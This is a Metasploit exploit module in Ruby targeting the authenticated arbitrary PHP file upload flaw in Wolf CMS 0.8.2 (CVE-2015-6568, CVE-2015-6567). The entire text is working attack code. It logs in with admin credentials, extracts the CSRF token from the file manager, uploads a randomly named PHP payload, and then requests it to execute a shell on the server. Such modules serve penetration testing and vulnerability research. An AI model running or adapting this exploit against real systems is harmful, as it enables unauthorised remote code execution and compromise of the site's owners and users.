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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in Wolfcms
version 0.8.2. This application has an upload feature that
allows an authenticated user with administrator roles to upload
arbitrary files to the '/public' directory.
},
'Author' => [
'Narendra Bhati', # Proof of concept
'Rahmat Nurfauzi' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6568'],
['CVE', '2015-6567'],
['OSVDB','126852'],
['EDB', '38000'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Wolfcms <= 0.8.2', {}]
],
'DisclosureDate' => 'Aug 28 2015',
'Privileged' => false,
'DefaultTarget' => 0
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
OptString.new('USER', [true, 'User to login with', '']),
OptString.new('PASS', [true, 'Password to login with', '']),
], self.class)
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/?/admin/login/login/"),
'vars_post' => {
"login[username]" => datastore['USER'],
"login[password]" => datastore['PASS'],
"login[redirect]" => "/wolfcms/?/admin"
}
})
return res
end
def exploit
upload_name = rand_text_alpha(5 + rand(5)) + '.php'
get_cookie = login.get_cookies
cookie = get_cookie.split(";")[3]
token = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")
})
html = token.body
if html =~ /Files/
print_status("Login successfuly")
end
csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first
boundary = Rex::Text.rand_text_hex(28)
data = "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
data << "\r\n"
data << csrf_token
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
data << "/"
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
data << "Content-Type: text/x-php\r\n"
data << "\r\n"
data << payload.encoded
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"commit\"\r\n"
data << "\r\n"
data << "Upload\r\n"
data << "-----------------------------#{boundary}--\r\n\r\n"
print_good("#{peer} - Payload uploaded as #{upload_name}")
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,
'Cookie' => cookie,
},
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")
})
register_file_for_cleanup(upload_name)
print_status("#{peer} - Executing shell...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "public",upload_name),
})
end
end
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